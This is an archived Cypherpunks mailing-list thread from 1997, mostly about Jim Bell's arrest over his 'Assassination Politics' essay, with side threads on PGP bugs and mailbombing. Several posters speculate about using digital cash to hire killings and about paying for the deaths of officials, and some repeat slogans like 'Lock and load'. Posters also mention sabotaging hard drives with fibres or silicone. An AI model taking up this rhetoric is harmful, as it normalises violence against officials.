anti-government forums.  "Assassination Politics" discusses creation of an 
organization to reward those killing public officials while protecting 
assassins' identities.

IRS agents searched East's home in Vancouver on Thursday.  East said he was 
questioned for about 90 minutes, during which time agents asked him about a 
"stink-bomb attack" on an IRS office in San Diego or Long Beach, Calif.,
and a 
"propane bomb" found at another IRS office.  In that search agents found a 3-
foot carbon fiber that East said he got from Bell for an electrolysis 
experiment.

Federal agents since have focused on a Bell theory that carbon fibers could
be 
used to sabotage computer hard drives, thus disabling them.  East confirmed 
Bell's interest in using carbon fibers as a "computer killer" but dismissed
it 
as a "goofball idea."

The search warrant for East's home shows that the government also is 
interested in determining whether Bell and others have experimented with 
volatile chemicals in preparation for attacks on IRS offices and agents.

The search warrant for Bell's home shows that agents were searching for 
evidence of "threats, assaults, obstruction, intimidation, solicitation of 
murder, false statements, and the unlawful use of false social security 
numbers."

Jeff Gordon, a Portland-based IRS special investigator, said he discovered 
"Assassination Politics" among items seized when IRS agents took Bell's 1986 
Honda for unpaid back taxes in February.  Bell denied the car was his.  An
IRS 
tally of the items inside the car included a document about a "trial" by the 
Multnomah County Common Law Court in January of several IRS agents, a federal 
magistrate in Portland, U.S. Attorney General Janet Reno and an IRS 
commissioner, Margaret Richardson.

- ---


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 11:14:44 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: PGP 5.0 beta problem
Message-ID: <3.0.32.19970518154517.00761aec@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:55 PM 5/18/97 -0700, Steve Schear wrote:
>Have any other Mac CPs tried using verion 5.0 with CryptDisk?  When the
>PGPMenus extension is installed any attempt to open an encrypted volume
>generates a "Not enough memory to mount disk" message.  I ahve pleanty of
>RAM abd suspect a lack of System memory (e.g., stack space).

Seems PGP 5.0 still has some major problems. I can't even get the installer
to work on Win95. It complains about a lack of disk space. I have >1GB free.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 19 May 1997 11:37:19 +0800
To: cypherpunks@algebra.com
Subject: Re: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <19970518202227.05654@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 16, 1997 at 09:56:16AM -0800, Tim May wrote:
[...]
> No, what I find so irksome about Kent is his obdurate unwillingness to
> bother to learn whereof he speaks:

[.points of varying levels of bogosity deleted.]

> And so on.
> 
> I've taken to sometimes responding to him, but usually not. Nothing
> delights me more than seeing some long rambling criticism of us, and our
> work, and then deleting it.

You really need to get a life, Tim.

> Kent is just one of several folks who've discovered this list, share none
> of its core values, and seeks to disrupt it with innuendos, spam, insults,
> and disinformation.

<serious>
This is all false.  The relationship between my values and the values
of this list are very complex, but clearly there is some overlap.  And
disrupting this list is simply not a goal of mine -- it's very 
entertaining, and a fine collecting ground...
</serious>

> Kent, please go away.

What, and deprive you of all the above mentioned delight? 

> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.

Are you referring to the lack of effective enforcement?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 19 May 1997 02:48:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A wee bit of Civil Disobedience
In-Reply-To: <199705171954.MAA17404@fat.doobie.com>
Message-ID: <199705181833.UAA12509@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) wrote:

> Want to add a bit of mass civil disobedience to the Crypto movement?
>
> Get alt.binaries.crypto created as a usenet news group.
>
> Why has this not happened already?  This will make an even bigger mockery
> of the ITARs, the EARs, and the other silly regs throughout the world.


Someone newgrouped alt.binaries.warez.crypto a year or two ago.  It never got
any traffic, other than from a few spammers.

OTOH if someone could create something like comp.sources.cryptology, it might
get better reception.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 11:56:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <199705190341.UAA17427@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen <alan@ctrl-alt-del.com> writes:

 > IRS agents arrest Vancouver man who called for killing
 > federal workers

As I recall, Bell never called for anyone to be killed. He merely
suggested that the construction of anonymous wagering pools would
faciliate a market in the disposal of tyrants.

 > Federal agents since have focused on a Bell theory that
 > carbon fibers could be used to sabotage computer hard
 > drives, thus disabling them.  East confirmed Bell's interest
 > in using carbon fibers as a "computer killer" but dismissed
 > it as a "goofball idea."

I thought microscopic amounts of airborne silicone were the
preferred method of causing large numbers of drives to
mysteriously fail.

I can't imagine how one would get the carbon fiber into the
interior of the drive.

 > The search warrant for East's home shows that the
 > government also is interested in determining whether Bell
 > and others have experimented with volatile chemicals in
 > preparation for attacks on IRS offices and agents.

The government is only lending credibility to Bell's paranoia by
behaving like jackbooted thugs.

Is this federal agent Bell is supposed to have interfered with
one of the agents who arrested him?  Sounds like fabrication from
whole cloth to me.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 12:18:46 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <v0300780aafa58a56a692@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
the foreseeable future. A gathering of anarchists, crypto exporters, and
information terrorists like ourselves is too tempting a target for a
publicized raid, with cameras rolling, to show the threat of the Four
Horsemen of the Infocalypse. I for one don't plan to attend any physical
meetings for a while at least. Going armed to a Cypherpunks meeting in
preparation for a raid is not a cool thing.)


At 6:55 PM -0800 5/18/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>- From the Oregonian Sunday edition May 18, 1997 page D-10:

(As an interesting aside, interesting to me, I recall May 18th as being the
anniversary of the Mount St. Helens detonation, back in 1980. I was living
in Hillsboro, Oregon back then, just west of Portland. I didn't hear the
detonation, but I saw the massively thick black column of ash/smoke going
up into the clouds. And I witnessed some of the later eruptions on clearer
days. And my yard was covered with about 2 inches of ash, some of which I
took in to my lab to measure for radioactivity levels.)

>IRS agents arrest Vancouver man who called for killing federal workers
>
>* James D. Bell, who wrote the 10-part essay, "Assassination Politics," faces
>charges of interfering with a U.S. officer
>
>By John Painter Jr.
>of the Oregonian staff
>
>VANCOUVER - A Vancouver man who has written about assassination of government
>officials and whose home was raided in April has been arrested by IRS agents
>on charges of interfering with a federal officer.

(much elided)

I was initially "unsurprised" by the search of Jim's house. Not necessarily
because I thought his AP writings warranted a search, but because the
(putative) list of local IRS agents, combined with their initial reactions
to his admittedly controversial writings might lead these and other IRS to
reasonably fear that they were somehow being targetted for assassination.

However, I'm quite surprised things have progressed to the point of an
arrest. Unless Jim was "much further along" in developing AP than any of us
have given him credit for, especially given the gaps in things like digital
money for the actual AP system to ever work!, I think a prosecution will
fail.

I don't know any of the facts about any physical attacks being
contemplated, such as the "stink bombs" (!) mentioned later in the article,
etc. What I know is that these attacks, even if hypothesized, have nothing
directly, legally to do with the AP essay. (Yes, I know that writings can
go to motive, state of mind, etc. I just don't think theoretical essays
about AP have much to do with claims of stink bombs sent to IRS offices.)


>Federal agents since have focused on a Bell theory that carbon fibers could
>be
>used to sabotage computer hard drives, thus disabling them.  East confirmed
>Bell's interest in using carbon fibers as a "computer killer" but dismissed
>it
>as a "goofball idea."

Indeed, one of Jim's many goofball ideas floated on the Cypherpunks list
and, presumably, elsewhere. So? In our discussions of TEMPEST, sabotage of
computers in general, etc., there have been many such goofball ideas.

(Some "INFOWAR" pro-government propagandists/researchers have even
collected tidy research grants for studying things like HERF guns and
conductive fiber atacks on computers. If Bell is implicated because of an
interest in using conductive fibers to short out computers and disk drives,
might as well jail all those doing work on just such things. Or does the
government only allow such work, and such speculation, if DARPA and DIA are
paying the bills? Wouldn't surprise me in the least.)


>Jeff Gordon, a Portland-based IRS special investigator, said he discovered
>"Assassination Politics" among items seized when IRS agents took Bell's 1986
>Honda for unpaid back taxes in February.  Bell denied the car was his.  An
>IRS
>tally of the items inside the car included a document about a "trial" by the
>Multnomah County Common Law Court in January of several IRS agents, a federal
>magistrate in Portland, U.S. Attorney General Janet Reno and an IRS
>commissioner, Margaret Richardson.

The fascists are running scared.

Lock and load.

(Also, I suggest _physical_ Cypherpunks meetings not be held for the
foreseeable future. I know I plan to skip them all. A gathering of "reputed
information terrorists, who have openly discussed assassination markets, C4
explosives, and the destabilization of democratic governments" would be too
ripe a target for clowns like Reno, Freeh, and Kallstrom.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 12:26:38 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 5/18/97 -0700, Mike Duvos wrote:
>Alan Olsen <alan@ctrl-alt-del.com> writes:

Actually I was quoting from the Oregonian, the local fishwrap.

> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Some of his statements could have been taken as advocating the killing of 
federal employees of various sorts.  The question is whether he actually
tried 
to arrange it in real life.  (Which I doubt.)

> > Federal agents since have focused on a Bell theory that
> > carbon fibers could be used to sabotage computer hard
> > drives, thus disabling them.  East confirmed Bell's interest
> > in using carbon fibers as a "computer killer" but dismissed
> > it as a "goofball idea."
>
>I thought microscopic amounts of airborne silicone were the
>preferred method of causing large numbers of drives to
>mysteriously fail.

I found that part quite interesting.  I remember Jim going off about this 
(without refering to any specific method) at the first Portland Cypherpunk 
meeting.  He got pretty pissed when I mentioned it on the list.  (As well as 
my post that I thought he was a loon.)  Interesting to see that there is an 
actual method mentioned.  (And that his friend also thought it was kind of 
nutty...)

>I can't imagine how one would get the carbon fiber into the
>interior of the drive.

Neither can I.  Maybe it was supposed to short out the electronics.  Imagine 
what that would do to your lungs!  Youch!

> > The search warrant for East's home shows that the
> > government also is interested in determining whether Bell
> > and others have experimented with volatile chemicals in
> > preparation for attacks on IRS offices and agents.
>
>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

It is interesting that they have kept the warrent sealed.  This, more than 
anything makes me question the legitamacy of the whole affair.  Sounds like 
the IRS is planning a preemptive strike on the Common Law Courts and the 
people behind them.

>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.

That is not explained.  I think it was an excuse to arrest him without having 
to reveal the real reasons.  Be interesting to see what they accuse him of 
later...

The IRS seems to have overstepped a little in this case...  The sealed 
warrents are an attempt to keep it from being examined in more detail.

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 12:42:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518195535.00af3100@mail.teleport.com>
Message-ID: <v0300780bafa590c729d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:41 PM -0800 5/18/97, Mike Duvos wrote:
>Alan Olsen <alan@ctrl-alt-del.com> writes:
>
> > IRS agents arrest Vancouver man who called for killing
> > federal workers
>
>As I recall, Bell never called for anyone to be killed. He merely
>suggested that the construction of anonymous wagering pools would
>faciliate a market in the disposal of tyrants.

Exactly. I thought it was a mildly interesting idea, but much less
practical than using untraceable digital cash directly to hire hits. (And I
don't expect to be raided for this observation, by the way. Such
observations are obvious to anyone who looks at untraceable digital cash,
especially when ancillary services, like untraceable third party escrow
services ("You slay, we pay") are just as possible.)


>The government is only lending credibility to Bell's paranoia by
>behaving like jackbooted thugs.

Indeed, if he is tried his ideas will be spread far and wide...and some may
even think "Hey, let's try it, except let's target it toward collecting
money by our Irish friends for killing of British politicians and royals."
(As with Phill Hallam-Baker, this is how I think it will turn out. Ordinary
Americans are too sheep-like to donate money to have Janet Reno, for
example, killed. We don't get fired up in large enough numbers. Except I'll
bet (no pun intended) that a lot of whites would contribute to see certain
blacks killed, and vice versa.)

Now that Bell has been arrested, if he is _not_ tried, his fame is still
assured.


>Is this federal agent Bell is supposed to have interfered with
>one of the agents who arrested him?  Sounds like fabrication from
>whole cloth to me.
>

Probably covering their asses. Once his home was raided, and the case
publicized in the leading papers (apparently tipped off by the cops), kind
of hard for them to just back down and say "Oh well."

Some DA probably figures he or she can make a political name by prosecuting
the first case of "Internet terrorism."

Fucking fascists make Bell sound less crazy.

Lock and load.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 12:30:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190359.WAA12331@manifold.algebra.com>
Message-ID: <199705190418.VAA00419@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor writes:

> Wait, aren't hard drives hermetic?

No.  There is an absolute filter between the interior and the outside
environment through which some airborne agents can pass. 

Silicones are particularly nasty in this respect. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 13:13:40 +0800
To: Alan Olsen <mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <v03007800afa59738ec88@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:12 PM -0800 5/18/97, Alan Olsen wrote:


>>I can't imagine how one would get the carbon fiber into the
>>interior of the drive.
>
>Neither can I.  Maybe it was supposed to short out the electronics.  Imagine
>what that would do to your lungs!  Youch!

Attacking electronics with conductive fibers is an old idea. (Not to sound
like a grumpy old man, but I recall discussions of this at the conferences
in Albuqueurque and Seattle I attended for Intel in the late 70s.)

I understand that carbon fibers were dropped on Iraqi systems during the
Gulf War.

If the government narcs in Portland are damning Bell for playing around
with the work done on this area, even including obtaining carbon fibers,
this'll be thrown out (I predict).


"Plans to destroy the Net thwarted!" is the headline they want to see.

--Tim May




>The IRS seems to have overstepped a little in this case...  The sealed
>warrents are an attempt to keep it from being examined in more detail.
>

If the "cyber-journalists" who write puff pieces on how great SAFE is are
out there, they ought to be giving this front page coverage.

(Wouldn't a better use of AP be to target AP, so to speak?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 11:14:45 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <199705190301.WAA11868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Timothy,

If mailbombing bothers you, get a Unix account and procmail. The following
procmail recipe may help:

:0
* > 100000
/dev/null

You may have not as many enemies as you imagine, though.

igor

Tim May wrote:
> 
> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)
> 
> At 10:47 AM -0800 5/18/97, Steve Schear wrote:
> >>I'll have to get it off the Iraqi or Syrian sites.
> >
> >Saddam doesn't want yanquis to think he is heartless.  Consider this a
> >humanitarian gesture from the good people of Iraq.
> >
> >Attachment converted: APS 1GB Fireball:PGP 50b16 Installer.sit (SITD/SIT!)
> >(0001153F)
> >
> >PGP mail preferred
> 
> !!!!!!!!!!!!!!!!
> 
> Your little "gesture" shut my system down through repeated attempts to
> download it. It would load a bit, fail, then have to start over. It took me
> more than an hour to get a complete download, at which point I could
> finally delete that 4 MB file.
> 
> (I use a POP server and Eudora Pro 3.0 and know of no way to abort or skip
> a load, except to call my sysadmin during business hours and ask him to
> delete the message.)
> 
> THANKS FOR FUCKING NOTHING.
> 
> Never, ever, ever send me a large file without asking first!!!!!!!!!!!
> 
> Disgusted,
> 
> --TCM
> 
> 
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 19 May 1997 13:53:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>
Message-ID: <3.0.2.32.19970518222857.00b026c0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:50 PM 5/18/97 -0800, Tim May wrote:

>If the government narcs in Portland are damning Bell for playing around
>with the work done on this area, even including obtaining carbon fibers,
>this'll be thrown out (I predict).

Depends on who is trying the case.  Judging where the article in the paper
was 
at, and the lack of other media coverage, I expect them to make a quiet 
example of him.  (i.e. punish him in a way that the people interested in the 
case feel threatened but does not give the rest of the sheep any ideas.)

>"Plans to destroy the Net thwarted!" is the headline they want to see.

I don't think so.  I am amazed they have not mentioned the guns that were 
seized.  I am willing to be this is the first salvo in a very quiet and very 
dirty little war.

Maybe we should start an anonymous betting pool as to which one of us will be 
the next to be arrested.

>>The IRS seems to have overstepped a little in this case...  The sealed
>>warrents are an attempt to keep it from being examined in more detail.
>>
>
>If the "cyber-journalists" who write puff pieces on how great SAFE is are
>out there, they ought to be giving this front page coverage.

Where is Declan when you need him? :>

>(Wouldn't a better use of AP be to target AP, so to speak?)

I was very tempted to set up a demo AP server just to see what kind of
targets 
people would select.  (I do not believe that most people would select 
government employees.)  The slogan "Who do you want to kill today" has such a 
nice ring to it...  In order for such a system (or anarchy in general) to 
work, the general public has to be more aware of the type of state they live 
in.  With all of the "Bread and Circuses" that people are being subjected to, 
little wonder they are going along with the show.  (There are also a number
of 
psychological studies that show that people will do all sorts of horrific 
things to their fellow man when someone in authority tells them to.  If they 
are led to believe that they are "bad" in some way, many will enjoy it.)


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQEVAwUBM3/lGOQCP3v30CeZAQGNxAf+KRfpFmu+JlENw5zvs9napDRKUKhVwp07
v+P6u5um+ziJ1oywV6wyko+A1aIvYxjXYlLsm5rghrCOY+BE16TFAdNfX9KVgfd1
8FMJwS0D+WwjerWet2AQZp1vlDD66R7hxeai/FhV9PsZrqPLGOYLpZY9+b8cNhqS
BYHXFMWieGgSBkmqqiGLJgfLitXbZo/vwN7IqUeclhHroh5xXL8UjoFrvVcbiqmH
OudcfmXWGCeyMBFoSMhBetYl6HVRYTG4D+3FPfItrc9zSKqszw1OJhX8rGl86aJR
B6da1X+qoQ8QMbnm/CmfIJMPoWYSlnQLYJc958xM6YJoC7ql9/baqA==
=vTdu
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 19 May 1997 13:50:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: referers and W3 (fwd)
Message-ID: <199705190529.WAA05241@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray, <ericm@lne.com>, writes, regarding Referer spoofing:
> What would make sense to use, other than sending
> "http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
> How about sending the current URL as Referrer?

One practical idea would be to set up the config file so that whenever
URL X is referenced, specified URL Y is sent as the referer.  This could
be useful for accessing web sites which won't show you information unless
(or if) they see a certain value in the referer field.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 12:16:18 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705190341.UAA17427@netcom18.netcom.com>
Message-ID: <199705190359.WAA12331@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. Mike Duvos wrote:
> Alan Olsen <alan@ctrl-alt-del.com> writes:
>  > IRS agents arrest Vancouver man who called for killing
>  > federal workers
> 
> As I recall, Bell never called for anyone to be killed. He merely
> suggested that the construction of anonymous wagering pools would
> faciliate a market in the disposal of tyrants.

I can attest to that if necessary.

>  > Federal agents since have focused on a Bell theory that
>  > carbon fibers could be used to sabotage computer hard
>  > drives, thus disabling them.  East confirmed Bell's interest
>  > in using carbon fibers as a "computer killer" but dismissed
>  > it as a "goofball idea."
> 
> I thought microscopic amounts of airborne silicone were the
> preferred method of causing large numbers of drives to
> mysteriously fail.

Wait, aren't hard drives hermetic?

>  > The search warrant for East's home shows that the
>  > government also is interested in determining whether Bell
>  > and others have experimented with volatile chemicals in
>  > preparation for attacks on IRS offices and agents.
> 
> The government is only lending credibility to Bell's paranoia by
> behaving like jackbooted thugs.

While you are right, I think that the government is as, if not more, 
paranoid than Jim Bell or anyone else.

> Is this federal agent Bell is supposed to have interfered with
> one of the agents who arrested him?  Sounds like fabrication from
> whole cloth to me.

They may be simply harassing him. There is really no substance in
what we've read.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 15:04:51 +0800
To: cypherpunks@toad.com
Subject: Re: Nature of Anarchy/ Anarchy of Nature
Message-ID: <3.0.32.19970518233507.006f3e4c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve Schear wrote:

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.
............................................................


Or my favorite of all time:  "Human Action" by Ludwig von Mises.   It's a
large book - it could keep a collectivist New Age philosopher busy for
hours.    But even just reading the first few chapters would be sufficient
to provide some usefully deep ideas to explain fundamental things about
economic truths, of the kind which many cpunks are already in agreement with.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 19 May 1997 15:25:52 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4fe137428@[10.0.2.15]>
Message-ID: <3.0.1.32.19970519000346.00743730@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:26 PM 5/18/97 -0800, Tim May wrote:
>As I explain in my message to Steve Schear, I have no way of
>removing such "mail bombs" with my Eudora/POP system until they 
>have been downloaded to my machine (I don't have a shell account anymore).

Eudora does have a "Only download messages less than ___K" option
that can reduce this problem; I don't know if there's also
a way to delete the message from Eudora without downloading it.
Netscape Mail has similar options.

The old Netcom Netcruiser mail client software let you download
just the headers and then pick what messages to read ; I don't know
if the new NetComplete stuff does that or not.  Netcruiser was ugly
and somewhat broken, but occasionally did useful things.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 15:27:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>It is interesting that they have kept the warrent sealed.  This, more than 
>anything makes me question the legitamacy of the whole affair.  Sounds like 
>the IRS is planning a preemptive strike on the Common Law Courts and the 
>people behind them.

There are two reasons I can think of immediately why the feds would keep
the warrant sealed. The first is that they don't want to reveal just how
little evidence they have. The second reason is that the warrant might give
some clue as to future actions/other suspects. Remember that the IRS agent
found the AP essay by means of an Internet search engine. That almost
certainly means he is following the discussions about Jim Bell on the Net.
Such as the discussion on Cypherpunks.

It must be truly frightening to this person to read some of the threads on
this list. Nerve gas, C4, race-specific biological weapons, bypassing
airport security systems, not to mention money laundering and tax evasion,
what hasn't been discussed here?

The feds may not be aware that the discussions on this list are usually of
a theoretical nature. Perhaps they decided to go after the
"co-conspirators". Like the anarchists in California with their AR-15's who
have so many mags that they can't even  remember where they all are. :-)

The fact that Jim is held _without bail_ would indicate to me that there is
more going on than might meet the eye.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 19 May 1997 15:28:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
>(There are also a number
>of 
>psychological studies that show that people will do all sorts of horrific 
>things to their fellow man when someone in authority tells them to.  If they 
>are led to believe that they are "bad" in some way, many will enjoy it.)

Right. I read a book on that. I think it was called "The Millgram
Experiment". Normal people would administer (fake, but they didn't know it)
electroshocks to a subject even after the subject had stopped moving and
could have been assumed to be unconscious or even dead. An excellent
demonstration of the power of authority. And the gullibility of the average
person.



